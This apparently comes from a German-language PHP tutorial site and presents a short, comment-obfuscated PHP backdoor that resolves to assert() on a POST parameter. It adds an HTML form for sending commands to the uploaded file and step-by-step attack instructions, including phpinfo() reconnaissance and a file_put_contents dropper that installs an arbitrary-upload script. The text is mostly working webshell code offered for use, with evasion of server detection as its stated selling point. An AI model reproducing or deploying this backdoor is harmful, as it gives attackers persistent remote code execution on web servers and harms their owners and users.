Heim >Backend-Entwicklung >PHP-Tutorial >Backdoor-Trojaner mit kurzem und verstecktem Code

Backdoor-Trojaner mit kurzem und verstecktem Code

WBOY
WBOYOriginal
2016-07-30 13:29:591461Durchsuche

In diesem Artikel wird ein Backdoor-Trojaner vorgestellt, dessen Code sehr kurz und sehr versteckt ist, sodass jeder bei der Erkennung nicht hängen bleiben kann das Programm.

Der Inhalt der Datei lautet wie folgt:

<code><?php
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>;
@<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>;
@<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>}
[<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>

Der Code enthält viele Kommentarzeichen, die schwer zu erkennen wären, wenn das Erkennungsprogramm des Servers nicht streng ist.

Nach dem Löschen der Kommentare lautet der Code wie folgt:

<code><span><span><?php</span>
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>;
@<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>;
@<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>}
[<span>0</span>-<span>2</span>-<span>5</span>]);
<span>?></span></span></code>

Der tatsächlich ausgeführte endgültige Code lautet:

<code><span><span><?php</span>
assert(${<span>"_POST"</span>}[-<span>7</span>]);
<span>?></span></span></code>

Es stellt sich heraus, dass diese Hintertür PHP verwendet assert-Methode zum Ausführen des Programms.

<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] )
</code>

assert() prüft die angegebene Behauptung und ergreift entsprechende Maßnahmen, wenn das Ergebnis FALSCH ist.

Wenn es sich bei der Assertion um einen String handelt, wird er von Assert() als PHP-Code ausgeführt.

Wenn der Inhalt von $assertion phpinfo(); ist, werden die Serverinformationen zurückgegeben, sodass der Angreifer die Serverinformationen für die erhalten kann Angriff.

Nach dem Hochladen dieser Hintertür muss der Angreifer nur noch einen einfachen HTML-Code erstellen, um PHP-Anweisungen auf dem Server auszuführen.
Angenommen, die Backdoor-Datei ist backdoor.php

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>


Angriffsmethode:
1. Um Serverinformationen zu erhalten, geben Sie

<code><span>phpinfo()</span>;</code>

ein. 2. Um ein PHP zu erstellen, das Dateien nach Belieben hochladen kann, geben Sie

<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>

ein und erstellen Sie dann einen HTML-Code zum Hochladen von Dateien mit dem Aufruf „Hack“. .php

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

Danach können Sie die PHP-Datei hochladen und nach Belieben ausführen.

Urheberrechtserklärung: Dieser Artikel ist ein Originalartikel des Bloggers und darf nicht ohne die Erlaubnis des Bloggers reproduziert werden.

Das Obige stellt den Backdoor-Trojaner mit einem kurzen und versteckten Code vor, einschließlich des relevanten Inhalts. Ich hoffe, er wird für Freunde hilfreich sein, die sich für PHP-Tutorials interessieren.

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn